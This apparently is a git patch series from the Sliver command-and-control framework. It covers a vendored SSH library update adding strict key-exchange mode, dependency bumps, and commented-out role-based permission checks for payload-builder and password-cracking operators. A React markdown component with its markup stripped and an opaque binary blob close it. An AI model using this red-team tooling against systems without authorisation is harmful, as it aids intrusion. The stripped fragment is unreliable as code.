+110,10 @@ type handshakeTransport struct { // The session ID or nil if first kex did not complete yet. sessionID []byte + + // strictMode indicates if the other side of the handshake indicated + // that we should be following the strict KEX protocol restrictions. + strictMode bool } type pendingKex struct { @@ -209,7 +223,10 @@ func (t *handshakeTransport) readLoop() { close(t.incoming) break } - if p[0] == msgIgnore || p[0] == msgDebug { + // If this is the first kex, and strict KEX mode is enabled, + // we don't ignore any messages, as they may be used to manipulate + // the packet sequence numbers. + if !(t.sessionID == nil && t.strictMode) && (p[0] == msgIgnore || p[0] == msgDebug) { continue } t.incoming <- p @@ -441,6 +458,11 @@ func (t *handshakeTransport) readOnePacket(first bool) ([]byte, error) { return successPacket, nil } +const ( + kexStrictClient = "kex-strict-c-v00@openssh.com" + kexStrictServer = "kex-strict-s-v00@openssh.com" +) + // sendKexInit sends a key change message. func (t *handshakeTransport) sendKexInit() error { t.mu.Lock() @@ -454,7 +476,6 @@ func (t *handshakeTransport) sendKexInit() error { } msg := &kexInitMsg{ - KexAlgos: t.config.KeyExchanges, CiphersClientServer: t.config.Ciphers, CiphersServerClient: t.config.Ciphers, MACsClientServer: t.config.MACs, @@ -464,6 +485,13 @@ func (t *handshakeTransport) sendKexInit() error { } io.ReadFull(rand.Reader, msg.Cookie[:]) + // We mutate the KexAlgos slice, in order to add the kex-strict extension algorithm, + // and possibly to add the ext-info extension algorithm. Since the slice may be the + // user owned KeyExchanges, we create our own slice in order to avoid using user + // owned memory by mistake. + msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+2) // room for kex-strict and ext-info + msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...) + isServer := len(t.hostKeys) > 0 if isServer { for _, k := range t.hostKeys { @@ -488,17 +516,24 @@ func (t *handshakeTransport) sendKexInit() error { msg.ServerHostKeyAlgos = append(msg.ServerHostKeyAlgos, keyFormat) } } + + if t.sessionID == nil { + msg.KexAlgos = append(msg.KexAlgos, kexStrictServer) + } } else { msg.ServerHostKeyAlgos = t.hostKeyAlgorithms // As a client we opt in to receiving SSH_MSG_EXT_INFO so we know what // algorithms the server supports for public key authentication. See RFC // 8308, Section 2.1. + // + // We also send the strict KEX mode extension algorithm, in order to opt + // into the strict KEX mode. if firstKeyExchange := t.sessionID == nil; firstKeyExchange { - msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1) - msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...) msg.KexAlgos = append(msg.KexAlgos, "ext-info-c") + msg.KexAlgos = append(msg.KexAlgos, kexStrictClient) } + } packet := Marshal(msg) @@ -604,6 +639,13 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error { return err } + if t.sessionID == nil && ((isClient && contains(serverInit.KexAlgos, kexStrictServer)) || (!isClient && contains(clientInit.KexAlgos, kexStrictClient))) { + t.strictMode = true + if err := t.conn.setStrictMode(); err != nil { + return err + } + } + // We don't send FirstKexFollows, but we handle receiving it. // // RFC 4253 section 7 defines the kex and the agreement method for @@ -679,6 +721,12 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error { return unexpectedMessageError(msgNewKeys, packet[0]) } + if firstKeyExchange { + // Indicates to the transport that the first key exchange is completed + // after receiving SSH_MSG_NEWKEYS. + t.conn.setInitialKEXDone() + } + return nil } diff --git a/vendor/golang.org/x/crypto/ssh/server.go b/vendor/golang.org/x/crypto/ssh/server.go index 7f0c236a9a..c2dfe3268c 100644 --- a/vendor/golang.org/x/crypto/ssh/server.go +++ b/vendor/golang.org/x/crypto/ssh/server.go @@ -213,6 +213,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha } else { for _, algo := range fullConf.PublicKeyAuthAlgorithms { if !contains(supportedPubKeyAuthAlgos, algo) { + c.Close() return nil, nil, nil, fmt.Errorf("ssh: unsupported public key authentication algorithm %s", algo) } } @@ -220,6 +221,7 @@ func NewServerConn(c net.Conn, config *ServerConfig) (*ServerConn, <-chan NewCha // Check if the config contains any unsupported key exchanges for _, kex := range fullConf.KeyExchanges { if _, ok := serverForbiddenKexAlgos[kex]; ok { + c.Close() return nil, nil, nil, fmt.Errorf("ssh: unsupported key exchange %s for server", kex) } } diff --git a/vendor/golang.org/x/crypto/ssh/transport.go b/vendor/golang.org/x/crypto/ssh/transport.go index da015801ea..0424d2d37c 100644 --- a/vendor/golang.org/x/crypto/ssh/transport.go +++ b/vendor/golang.org/x/crypto/ssh/transport.go @@ -49,6 +49,9 @@ type transport struct { rand io.Reader isClient bool io.Closer + + strictMode bool + initialKEXDone bool } // packetCipher represents a combination of SSH encryption/MAC @@ -74,6 +77,18 @@ type connectionState struct { pendingKeyChange chan packetCipher } +func (t *transport) setStrictMode() error { + if t.reader.seqNum != 1 { + return errors.New("ssh: sequence number != 1 when strict KEX mode requested") + } + t.strictMode = true + return nil +} + +func (t *transport) setInitialKEXDone() { + t.initialKEXDone = true +} + // prepareKeyChange sets up key material for a keychange. The key changes in // both directions are triggered by reading and writing a msgNewKey packet // respectively. @@ -112,11 +127,12 @@ func (t *transport) printPacket(p []byte, write bool) { // Read and decrypt next packet. func (t *transport) readPacket() (p []byte, err error) { for { - p, err = t.reader.readPacket(t.bufReader) + p, err = t.reader.readPacket(t.bufReader, t.strictMode) if err != nil { break } - if len(p) == 0 || (p[0] != msgIgnore && p[0] != msgDebug) { + // in strict mode we pass through DEBUG and IGNORE packets only during the initial KEX + if len(p) == 0 || (t.strictMode && !t.initialKEXDone) || (p[0] != msgIgnore && p[0] != msgDebug) { break } } @@ -127,7 +143,7 @@ func (t *transport) readPacket() (p []byte, err error) { return p, err } -func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) { +func (s *connectionState) readPacket(r *bufio.Reader, strictMode bool) ([]byte, error) { packet, err := s.packetCipher.readCipherPacket(s.seqNum, r) s.seqNum++ if err == nil && len(packet) == 0 { @@ -140,6 +156,9 @@ func (s *connectionState) readPacket(r *bufio.Reader) ([]byte, error) { select { case cipher := <-s.pendingKeyChange: s.packetCipher = cipher + if strictMode { + s.seqNum = 0 + } default: return nil, errors.New("ssh: got bogus newkeys message") } @@ -170,10 +189,10 @@ func (t *transport) writePacket(packet []byte) error { if debugTransport { t.printPacket(packet, true) } - return t.writer.writePacket(t.bufWriter, t.rand, packet) + return t.writer.writePacket(t.bufWriter, t.rand, packet, t.strictMode) } -func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte) error { +func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet []byte, strictMode bool) error { changeKeys := len(packet) > 0 && packet[0] == msgNewKeys err := s.packetCipher.writeCipherPacket(s.seqNum, w, rand, packet) @@ -188,6 +207,9 @@ func (s *connectionState) writePacket(w *bufio.Writer, rand io.Reader, packet [] select { case cipher := <-s.pendingKeyChange: s.packetCipher = cipher + if strictMode { + s.seqNum = 0 + } default: panic("ssh: no key material for msgNewKeys") } diff --git a/vendor/modules.txt b/vendor/modules.txt index 6c5d1bb72d..d4d429cf5f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -547,7 +547,7 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.14 +# github.com/reeflective/console v0.1.15 ## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline @@ -587,7 +587,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.47.4 +# github.com/rsteube/carapace v0.47.5 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -763,7 +763,7 @@ go4.org/mem # go4.org/netipx v0.0.0-20230824141953-6213f710f925 ## explicit; go 1.18 go4.org/netipx -# golang.org/x/crypto v0.16.0 +# golang.org/x/crypto v0.17.0 ## explicit; go 1.18 golang.org/x/crypto/acme golang.org/x/crypto/acme/autocert @@ -795,7 +795,7 @@ golang.org/x/crypto/scrypt golang.org/x/crypto/ssh golang.org/x/crypto/ssh/agent golang.org/x/crypto/ssh/internal/bcrypt_pbkdf -# golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 +# golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 ## explicit; go 1.20 golang.org/x/exp/constraints golang.org/x/exp/maps From 14b0bfba8af2f1c21cb0905ed922093ba30f46db Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 19:08:28 +0100 Subject: [PATCH 124/124] Add commented out permissions middleware builder/crack --- server/transport/middleware.go | 85 ++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) diff --git a/server/transport/middleware.go b/server/transport/middleware.go index ae5227c08f..75f839a82b 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -38,6 +38,7 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/db/models" ) // bufferingOptions returns a list of server options with max send/receive @@ -133,10 +134,12 @@ func (ts *teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { if ts.conn == nil { // All remote connections are users who need authentication. requestOpts = append(requestOpts, + // ts.permissionsUnaryServerInterceptor(), grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), ) streamOpts = append(streamOpts, + // ts.permissionsStreamServerInterceptor(), grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), ) } else { @@ -195,6 +198,88 @@ func (ts *teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error return newCtx, nil } +var ( + // Builder - Allowed methods + builderMethods = map[string]bool{ + "/rpcpb.SliverRPC/GetVersion": true, + + "/rpcpb.SliverRPC/GenerateExternalGetBuildConfig": true, + "/rpcpb.SliverRPC/GenerateExternalSaveBuild": true, + "/rpcpb.SliverRPC/BuilderRegister": true, + "/rpcpb.SliverRPC/BuilderTrigger": true, + "/rpcpb.SliverRPC/Builders": true, + } + // Crackstation - Allowed methods + crackstationMethods = map[string]bool{ + "/rpcpb.SliverRPC/GetVersion": true, + + "/rpcpb.SliverRPC/CrackstationRegister": true, + "/rpcpb.SliverRPC/CrackstationTrigger": true, + "/rpcpb.SliverRPC/CrackstationBenchmark": true, + "/rpcpb.SliverRPC/Crackstations": true, + "/rpcpb.SliverRPC/CrackTaskByID": true, + "/rpcpb.SliverRPC/CrackTaskUpdate": true, + "/rpcpb.SliverRPC/CrackFilesList": true, + "/rpcpb.SliverRPC/CrackFileCreate": true, + "/rpcpb.SliverRPC/CrackFileChunkUpload": true, + "/rpcpb.SliverRPC/CrackFileChunkDownload": true, + "/rpcpb.SliverRPC/CrackFileComplete": true, + "/rpcpb.SliverRPC/CrackFileDelete": true, + } +) + +func (ts *teamserver) permissionsUnaryServerInterceptor() grpc.UnaryServerInterceptor { + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { + log := ts.NamedLogger("transport", "middleware") + + operator := ctx.Value(Operator).(*models.Operator) + if operator == nil { + return nil, status.Error(codes.Unauthenticated, "Authentication failure") + } + if operator.PermissionAll { + return handler(ctx, req) + } + if operator.PermissionBuilder { + if ok, _ := builderMethods[info.FullMethod]; ok { + return handler(ctx, req) + } + } + if operator.PermissionCrackstation { + if ok, _ := crackstationMethods[info.FullMethod]; ok { + return handler(ctx, req) + } + } + log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) + return nil, status.Error(codes.PermissionDenied, "Token has insufficient permissions") + } +} + +func (ts *teamserver) permissionsStreamServerInterceptor() grpc.StreamServerInterceptor { + return func(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + log := ts.NamedLogger("transport", "middleware") + + operator := ss.Context().Value(Operator).(*models.Operator) + if operator == nil { + return status.Error(codes.Unauthenticated, "Authentication failure") + } + if operator.PermissionAll { + return handler(srv, ss) + } + if operator.PermissionBuilder { + if ok, _ := builderMethods[info.FullMethod]; ok { + return handler(srv, ss) + } + } + if operator.PermissionCrackstation { + if ok, _ := crackstationMethods[info.FullMethod]; ok { + return handler(srv, ss) + } + } + log.Warnf("Permission denied for %s attempting to access %s", operator.Name, info.FullMethod) + return status.Error(codes.PermissionDenied, "Token has insufficient permissions") + } +} + type auditUnaryLogMsg struct { Request string `json:"request"` Method string `json:"method"`

    + { + e.preventDefault(); + router.push(href); + }} + > + {children} + + ); + } + const url = new URL(href || ""); + if (url.protocol !== "http:" && url.protocol !== "https:") { + return <>; + } + if (url.host === "sliver.sh") { + return ( + // @ts-ignore + + {children} + + ); + } + return ( + + {children} + + ); + }, + + pre(props) { + // We need to look at the child nodes to avoid wrapping + // a monaco code block in a
     tag
    +            const { children, className, node, ...rest } = props;
    +            const childClass = (children as any)?.props?.className;
    +            if (
    +              childClass &&
    +              childClass.startsWith("language-") &&
    +              childClass !== "language-plaintext"
    +            ) {
    +              // @ts-ignore
    +              return 
    {children}
    ; + } + + return ( +
    +                {children}
    +              
    + ); + }, + + img(props) { + const { src, alt, ...rest } = props; + return ( + // @ts-ignore + {alt + ); + }, + + code(props) { + const { children, className, node, ...rest } = props; + const langTag = /language-(\w+)/.exec(className || ""); + const lang = langTag ? langTag[1] : "plaintext"; + if (lang === "plaintext") { + return ( + + + {children} + + + ); + } + + if (lang === "asciinema") { + const asciiCast: MarkdownAsciiCast = JSON.parse( + children as string + ); + const src = asciiCast.src?.startsWith("/") + ? `${window.location.origin}${asciiCast.src}` + : asciiCast.src || ""; + const srcUrl = new URL(src); + if (srcUrl.protocol !== "http:" && srcUrl.protocol !== "https:") { + return <>; + } + return ( + + ); + } + + const sourceCode = (children as string) || ""; + const lines = sourceCode.split("\n").length; + return ( + + ); + }, + }} + > + {props.markdown} + +

    rsee+L@0I?C<|*y$qO#i?zn*Z9uBE?Vz-*8eE2tsI`foQTl1@__PXge=*4>|t;`#lDWd^_z}b9EJ1(^i|!K8=rB(%aA= zn=xn$RBvyaTtUg(+wq-1;ql#I#P*7+Ss*JGdULn7Pj5vSAj1}4=(=uwny)$FGYbkVJFztWzV=vsyQ z+AIcKfvcsDNgzj}`-_1BDBqayX zomj{)5eC%3*sx)h(Nh9!LY+xr!xY!B*(q!~*um>y^Hdib;xBZp+q~yvBklRv)0PZz zOX01WSL+e~HYy=uHj%Z)W(-^AxFj~?Fa;FOpcI)F+p~jQ{gx0Dl`e$oP?m`TD*#MX z$#A#HrolZ4gsJfCIZ~&Q>YDRcd?)q7=!csZND5qy-LY7L#3a;yO~vvjn4dzuX`Eaz z!SM@x6lxr?{CXyuR)dKYdYSpDWKGj3H00{&Xq<0?7=*~HvhWdc8Y`Wvu^EBIVf*V( zWbOuPfrZYwumWZ|&rm=KV~J0Ql3Oi}2xb(P89A%Qxt=3u_7_oKmY@(j@;Z!L*0v)= zd$}uRWNi^WsRv+$+m0H?!>tIJu^mQCk1_nK`e4@|{< zYX#}Z1~;Qc-@v=A0dh61@v;HtO$J`9DB62RKn>7Xk*W#qHAAuncx1(u^h(orwaM(N z=x)4C419trA=L}c+3M35Y5{#nOgdM_u?upi6q@gp%z zT2RG#4uh%9xTw9`=XL6qdC6wIsJ~lt6s!Xgts*7Sn5y3nQ#kv}_?2rko^3XYW|lfk zr{H}Jr;)GG8252e{3yTd1j}n#78^|plK3+$!fM3^zO?jCxiEggTyBM!j6P_+f!3Uc zfLUPv--P*xV{~NbOYFjPm-`WO>UUHX^6GP^sF_DHA2or`RA_HQLKC7nODNd1j z?L=L_{MOw-k6YGVdLbui}=dp8X-vY%MgglY8Fg1yoh;%6?njecb> zb_e`kQXZ0<=|N}^s3MH@+V18mbh;JT`Q1z%zpaF(iIJWDA>E**$`gld9ZqiPoWmab z!TC=300oj-!itR{`NPY=F4epOwnA5m{_+-W+G1lMwn8}WZ5)j?_CNKNPyg!P9Yyk_ zJNfIcT>9}Ry&7@Z771N6O3h?E6ly0N>O@K7M&trA=&&M1z#GY!|06zSt7#HP>dNYf zDw9BHF~j8-u4eg*2?A(!K}T+64~kLclEw{@`%^OHZp`09FXH??eoy;qp=*EPzc?K$ zWa$J%+vI80@DaNSpT-Y~I0sJ2e`dA(zeLRC^;0GBc5U$8!Bgxt2q&+RSLymU^ZLI; zwi(Hte%_A>6S-5*YyZ@#FIMtsnSj{1E3q8!cbiWv2d{gfSR$IyVxl8Ybl64`&Vaes z?(HBLc9tdn{1qGv+^6p=f4Yl8-$MKI z3Lr~bDRsD&^AD(LY(ZY$6^-F*Z*D`ocSWtpb&Nu-L^o8(C!tIL*NXD*?LtOQqY0l% z8#n%z6ZI6h=_aS3`XhI{Wu-_ogkhRL;Nn(nYJy?Yj8TKcSa4XIOfza{(oa-4A*L0H zeNYAdfE(Mb97lw{JOhg$IzvYDWJijSRGlKZHjb(`!!-)*lB#EMF%WU$$5 zkJV?)tA4VKQdQ!LXR$Y5GsFnH_#mdLKZ8hzo;1EKlnaB}R{u}v=%N1*Jw74LWoHWU zFt8yH(8abdB7!v1v~WZq4X=1G-Z->S%OX47U}1T}f)5s&HqD`=X;Yu74~m54sH4d; zmvC%=&Dgyv^|GjUq>{3vgTOy{jjq%22e$boax=)K@A|ptCEf0fU1;atd}rfM`U7XO zEEcbf0xICp1N?u%s>p2FQvl@;K?L|j)HaoS#j9Mp|9VY5-uOBvU8*hYFl_;&O#d*e zqr)hAt&WeYn%5ZnY?jE)>wu#J=#7y*ZFs&&@nWp~B!7Z6i80vJ=qJJ%sS^6&r2O@Y zpnyMo$wQP2g-RcXnhINKNHDXc)Qf3qn-PrIT`;O?;}1!I?nVC#ggHe``MeS#a`cPp zq7*iOU^qEum=L-Wamjn^W_?x6&5p7|?EVO?+lVI)PNc9qiyq~#1}&a|`?QSg1>8Gq z1pj?9W!K!{+Ncc+7vJXHp7|@DA^xRe6x@-2|D2V?^f0K6OK~?_-$&8Fsms8AR8&$B zP)kNF(?vRI4yJlPsDXj)48se9nQ<9(@|(F^;&e2l_XgnIB=_t^G|c=3A2Pz~@TYS3 z@^JE+smMf(2Sjr)d|cds3JqY(y)b}57>p8$QKCq_Fc`NU{-ikwm*1E)_g58yxsoC4 z@MGluhIY=x+^~(9K|7Xez{<5^O*3bF3|HR`5b_R*I9Uz z@#NnL4QW}03SR8`2z;fjevvTcFD%rD!dya~8U4C@(Qc%TFW4Ot zwVw<-X4aFAVA*o)?zT2AET^j~7G5VqH(yLH0QF2ktC|{dNhFaxUWktf4l1!&%$}#q2oDHM3>aa|PsU=YCi8Hwe(Pp7+yH=ogjNUJ3I2YRVjM7N}mZs`2o)35gJ-O%B`;{N6C%9ngK zfimwyp(BCQ4`yWYAkhb5QM4m&kyfy7x*4Vii7ha}NR(0xDUmI(v#jg^(HpC7%l3qH z)K$wMaKA<6YQDXtK2r0rtuuyOKyU_}Ja#pmE5LJvf%1!{Edq1yr~WN?6PO8ignw`? zzQ8lWLg5*~B;%#y-FMH0CsV?*=KO&U_|*Vo&1O4RMjMf>5)qsL@T8#u24@mDPLzc| zX9J{}ZZQHt_&V{pP5Wd5AW@j_8VB2G>*cgSz&*#fhE*gOi+v?PwX;>^h9@s#p0uo_ST&(MJUAPYONb!j-B&6Z#iOAXR+gtA_mW5_ zBnidvgt&(|p`!hp8gmf3q7qzRPSY{V8CQd-OT54C9V`wx)VyI4xtBOc55uApZCeS( z_+n%MqC_fz0bP#msdufgJByu>5~Sz;7+npu{F>~RbVQlTc30OfXS?Gq9HK&F8Wp${ zL0sqG6>C${`XxrZrw^I(eEe;K$D&HqWepSQOrHKuTb)JLQPw=)=Iln zsF$?^gbXuxJ{k|}UWt1JZIHQhb5FGPcE{ReQieVEb68E1s&}KE{Q<}`*gerW8JnfZVDQvV+q^|BG#8_ z=Eux{ESW>G0^>3jgFv=Q@7`upc8HFeF~uM!lm4*knBixjMpBdoCW9#SJ?JqjD6>bL z#~`YxoHw~;xQhjTOVwU0&7Hj#>N&wn$s;QO8bq>s{eiH&J06IBLW@6Sj*$4;8l(rd zE}>&60~g*8V}#rN?V)0DuU7CjbY430`Mvv!=3a_L-%F9f4e^I~6H4yYHg+x4m0m#= z(V%VvUKlwA2t3~sSgjA@J*&#Y}QVmD)gPSIKsq0)!IqFn1QY1ZrLEZD3-VN+& z$2xx!_n69xytr3>xgr2XWw+JVM69zyY4!@SG{ns_Y#C2E;+5M@b=Pi6(h7%8{1OND z!viSih78b*hyuk<1>&616^(XU!!LLn83rn`4TBX$WeG9?K<#l9x5&&cd=VW%VQ!(S zT+eZJQ_{>wU=2-kl>6h~9qK+gs5=f1wM-vaUU;_XJ^!Ky@e%}$>vJl{Nb)aZMv!KL z=Xhh=)^gUB?}$ZVRQ5&H0pdmD-L4CGDLlSxkFjh-``L!7_+KHOe#P6QWlU&8l!Bp) z^BrnvG+8AvC;iKQjLKdrV+_*tSU|bLQsz8k?U=hBd&!hc(1P_H7PP4VEf=)s_%UZo zWfcP?Wr56xB&6xg52rD(xkM5%Q=YY7tIH|)O_Z@g4E_neNzo1jFE&aoe50Hze zoyOW_!Bkl_I2w+4!uKQ`I1)A{#He_`#^9n2m*ERdbqT@q^p=!$9@$Z7?M>1Cb}Bo_ z?;GC_ zDZmd$HvYVlEb&O93MwF3=?15C);w6@LlI*rJ!QM$nO_;Q4x{?PCCQ(Lm_}y}6!qXy z{8`L^pYAuA?$7$!b?ToC(%hiMCfqtKcnF9 zaY^dw7__Jpsm8W5yPatFo9DHJ0dF^$#t{p+$I?GI>_JM#Kr-^EP)OBasvot60FlaV zif9?z9kqvxnl3jG6JQ1c#r&F~h^sclWC;WuE^e4;u}(GAjODCOPz(u>rD@Z7jJ1sc zF#|>8OQVEM&`&h4x+aEgkTGI;Z(z;omB1inqF;tb9pk;c0=G(Lb-(<24*r298D6y{ zLMe`qhBs2Vb8^_+GtZzhwGdX+8`#G|3!*@hubMkJ0salY%Rb^~^oKoe0 z1D|TjjqT8I${95C4j|RyA`TvD-?-s7|NE;S`fzJ0z%8eN@I_QCEpFsr?TO6?JrJ~+ z0b$tHtSKOWxV?q$-~-!fm036d5)ubA#H7oHr65{ZmN`+AdXg)V%R*YBTCy${ z)y6mSWU-gu6Sy`$Y`IpOO4)0{niwT z?wgh2EFB$*!$yciVx|NaUeu(G>Er!8l6B&VOslWOt=w_Sz>(U;Z})ZxrPxkn1^ zm6n#cQNmjlzImiC&U6ZXVB_<`f_#-AZAL@=r0SMi?fNJKfTI zpaObI8&pybj$>FL8$U^|C+)di9p$|12F9i}02ehVoE8I0${g@@>Z)Hy_9{%b$%IIW z#Y!_$2)*b;n>2q|LD{}#WL41T5#?RbTT9jqFK!l4bJO^-1) zW@Nm*n5=MpVk_NfnHaJUW+xQiL&sS+yl+*41ujKZbC0Hm50Y8Kut0XF@PtO82s+#KICjHfI-9KHN2LOgySI$@Fxv@pAZ6|w%3+b55=pY_jIMO|Ot=zhl15NM zzP#Qrb?2p5{kBkII^w)4n4lu-=S)Xv#$W1)*=uwJjl73%`JRTpQMOQFGCHmMcYx9|lq3kL*OIaV37TiQr*q*|L0ACV80KC$lF~buSlcqTR zT!=Fc6)cf3jTrUCa;;Imq&i$Lb4B;Gmgq9v8nThL)xron=O?7Es4Oa@BUMbDD^^!u zE-Lz$%kmxIg%sb*ywLS(Tnxb#{mT{Ix4|ZE&Inl+q=7n|fMaZ=)ieha<17g(9YbH3 z4`OQ}6&S)au-Qn9nUh)AA-)ZFL1c>$kz8oqw=*G#lG726rL-wAEU&?ZV5XJD%LL7h zbEm@fc2Kri%sN3KwrX=2ZWX6c9%fC880OY0aDwD3e~pQ(=Bnl*;48?}fk0i?Dsd;2 zZ`e3p;X6-wic{zb?{tvG&6lkhMa0GDaCdzU2(E@ zK&DLghgo_cR?j;h#}i~9(l6Z-PMsVFCei~J8R_rvSxKhrJV zXW+iTb;#spC?3=`^N@6#nR%qe4EuI}k+tWYqKI4`Mccp;Wy+i)NF#iLPP)K4L7Vam zxM#Bg&OvaxNK3U5Q(eLhi4HqBBDMqMVRR1idf9IZvzc$0xc)39K%HUYV%q>A{d6loUM))&Ug-%iPPNeBLM(S2da1qy+8g8ARrv?QFCb#$aKxx+pB0wh> zhWHXO3ZZL04Fcffjj206MFC>wzf@@uFw)cjh7;q`UJv84gkY0`xAnAmw?>WMtj@8tIrDCr-G`03PZ5_Cm`Zk zi^OLRB+2F@ClYRPCy*Wa6JQ-umvW@=tW_cQ3 zkYruO8;m0|>B5}xK$H~t)s!(F4WL_(cls*#{`CP7`J0D;ySlgcy!HMzzp zAT~Wl0d($=4l%^GP}vLStV;UQVe-u_k+8j)wq7B*lZYG{Fi$CIt z(TFxT-fqQwS?dl1Mp^9 zC0jX0mpo@dEi-ZwbPoOYK`ms{2em}g@>oALP;qZy&a1}jj>Wsldqf$HD67%d2Y=ig z@0r_5s_bc@2;GAv*%;>s{QZbXc)!0#3A1V}QM`i-<;S>C^mZmX?lSTR@*LaV=_W9ou5wixPR0QZsF0yfL4x;3wH4VDJ1q$+|Ec>8}P7f~mv-~8W zRWCf0?Y^@XVWhU!)MVd$*ZIYe?ttgiv{WJPA}97~i4Wt2HzQqw$`*sjV89IT)QE-zg-RK zYj@lm0tNiBQhR=QaEDw3UWr0aaRL9mT&U4Ozli+kQ}*DPfe%AT84NswV)VC&AKD*% zV+7Sdz$sFYS71R{N@f9RW^_(yIa$1w^0&s{KK|B&0E5ag!LN#%(*cdCfCjF|@M6QS_QQ0Tbqc3n#YhWY>@wXXED>x+1TJvZ?ucGVUCK?`HZLuzVRP!+4A zsHp93H*7L{*1#k2{Dd=S^ix|j`3VwdV$iV)13hX3jdCtDw?dj{7LDN*2T?9GMgN@Q z7{u_1KVMsMK+E&=KWGy>YIY$*!_5^a&tq~gu@~Z4$oZmh;CeY+FW6Pu5SSPBgMD?T zC(Wa#cbBvVLEy#mXk}wd)EMId1%_R^!vyvi(3m_Ff^+6V%ar=LGv;!A#0s6au9U{0$Pt2& zQt&(gT|rp^e`5pez5txowCu+!dhabYOBYCvW+hBdZC8?-sTs*Qx&V-2AkDHzZ5bRE zugn1GAmg$%m}{knJsO%YoXnRVhmSR_WK01D>S|pBL_3Dg8ZK<8+o7F>Fa?-vzKJB* z2+k2v$7xcJAhlP}`gj13%*nu~)x96=Hr;}BJFFG)l)**U-+^Qymx7BALn$j4u!4_z zfBVJ?X;1ABq~Vonc&oH$Vzu#~fM-n(=)Gju)aT>2Qmy!_=Cd$~*oXxknL<*!nZy2X zaW`4r&sIylulbI*1zL_u>uw3N;w7yF{hnB)!{KtlJHuPCwb~nlu3={Fv+;RF9yDrH zc_H83c%NUD)1bP8d?_xqZ@0QNe6aK?ZM%9a23_-JBe#NGPyh$cpOBi7@Rj!Ez5BSd zCCGw%jXQyECya5?L1FR^l>?xw&U?~TCmiWYw7{-9fk(e}$d0a-fzWu5Af2VCo`f3Y zKUj%_;d(XHJQc1N0)+El@a0a1>nW1$b~pZAMwd|v9UK}zUg%sV-S)*m4BNcu0{nYl zn7}jU3_gA$p)JEm1EjShbB%MYiZXMy5hSi>$pkFLGas~Rn_fStI|~VMI1so4fV%mQ z`q}XuEOs<$>MLoMc-bCoD-1tT{!IeYdu~_aM2UIm*df05aSO>9&b@+UN>Tx(@9-$u zM0=-Tt?;dgj9nmdD2)BS#g{IG6OIv*<4cR!bETPAfo_!lm@jRon9+575nozEqVDQA z9UZ#p$wQS~6e4;p?q^QsOKae)v`<5&G^7yTI3~W}?Y^K!)(R4Wj&o4OL-7Uf2v}<3 zCnJtGN(s=@2?o~I)-p!L7{g==H^|kXo0ufHqdS*+@$Jb+W^dD5($Qk{eOTVng8Mbf zh%;~Mq}&7Z=Wf6)V!s9h*3yR-sD9dh)(QNhm7zgZuIgxhz--)^s*3TYrE2R2UC&l2 z7f#w9EryQoZH;=(3nkPR;4fF9z|cgiU5sw%eEL6q?JukW`hzWTH3ll z7`=PQq6PVoEBewG!vH$sauy1ChpL~F#onMl)l zzJFH*(j9lT3NkDf@i$LJbOw(P1e&AE*9YzTa#fSa@{f6!MYYAcT}v*9%!XobZ*p;K zkY{OG5O8VnCb6-_YRS_i<^-uU3`GUsvn+VMD@7W3;@Am3ow%A0LG%qYVx16LQ=*Rk zkjC+UMEVLsvzauT{ltlz?oUZN()BO6R=8e?Hgi;p%n7Td^({?Ofv`1grf2syIgf-U zXu$m~r3NWgzf*{DbQZH@R+w=U>y!X*cxYf?ktV9Fr#6eqT^!H?_&b|RSk+41zyHbd zaIKBtA`8#li&peWN}Pr}fme4m_eF};LaumZEm=cVH6&DM=;_2aL?8HRpqie5O^Ll0 zj@@5I6K46A-Ps&efVFZrXn+l1+%u}5%bW73Zn55j=we_A)tMetp}!U6l!N)GR^4w? zj13vyL%2SwANl8@3ik6+{b)c{SpDxkSaCYDy0kcSi3xy6;g-^|A+gTfU_!(0VA@o{ z2J>5uIxr1DME>re3S!To!W|@@KKCgL2ODq$%>Y9TACu5f-wOqWf+)XcGcN#g56{FI zdiHkztXi_pA`0}5=qJ?8!PiE7pv#5dt~pT;zJk<)uRA0r3?nWYab%PHYokGLxeu$w zX4zuaGq{xfak!h@7e`7tG%t591a1_#Ufh4mL$U!0Ee>6;#b;G+pllIIGj{TbiGuw` zt@hGDuafVWJvP0FG@+jRF+*+X^-#MPoXMkO806gYO}fDDLa-B;XI(ZjMbV=hJ}%%ys>HQ{NKy{h z49h1qd>o6^Q_gE9@aP@BPpKTKc|GO4JTEBslPZU0oRbHvUsoRJL}1Y0r&F4+bvw|n zA3YuTi~!Zj(VM5Y7&!FSES$1HZwW>(r@XNjguYGIReb`{=l%o`ee?CnLJ+N95c<05 